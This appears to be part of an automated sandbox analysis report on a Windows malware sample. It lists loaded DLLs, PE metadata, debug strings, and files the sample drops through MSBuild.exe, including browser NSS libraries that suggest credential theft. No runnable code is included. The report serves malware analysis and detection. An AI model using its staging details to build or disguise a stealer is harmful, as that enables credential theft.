Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static file information: File size 5039032 > 1048576

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x47ae00

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2060089144.000000006D09D000.00000002.00000001.01000000.0000000C.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2058676901.000000006CD5F000.00000002.00000001.01000000.0000000B.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.00000000045CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000004440000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1767557867.0000000005610000.00000004.08000000.00040000.00000000.sdmp, Protect544cd51a.dll.0.dr
Source:	Binary string: System.ni.pdbRSDS source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2060089144.000000006D09D000.00000002.00000001.01000000.0000000C.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: System.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.ni.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.pdbD source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdbjz source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: mscorlib.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdbSHA256 source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: mscorlib.ni.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.pdb< source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2058676901.000000006CD5F000.00000002.00000001.01000000.0000000B.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2054205361.00000000192D8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2048308496.000000001336C000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.00000000044FD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000004372000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1767557867.00000000056CA000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER74E4.tmp.dmp.4.dr

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: 0xA24C332C [Fri Apr 14 01:53:48 2056 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Code function: 0_2_6D01B6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

0_2_6D01B6C0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D06CC2B push ecx; ret	0_2_6D06CC3E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D06D565 push ecx; ret	0_2_6D06D578
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EBA828 push eax; mov dword ptr [esp], ecx	0_2_02EBA829
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EB46CC push esi; iretd	0_2_02EB46CD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_054383EF push dword ptr [esp+ecx*2-75h]; ret	0_2_054383F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004191D5 push ecx; ret	1_2_004191E8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqls[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\freebl3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AFCBAEBAEBFH\freebl3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00417645 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00417645

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
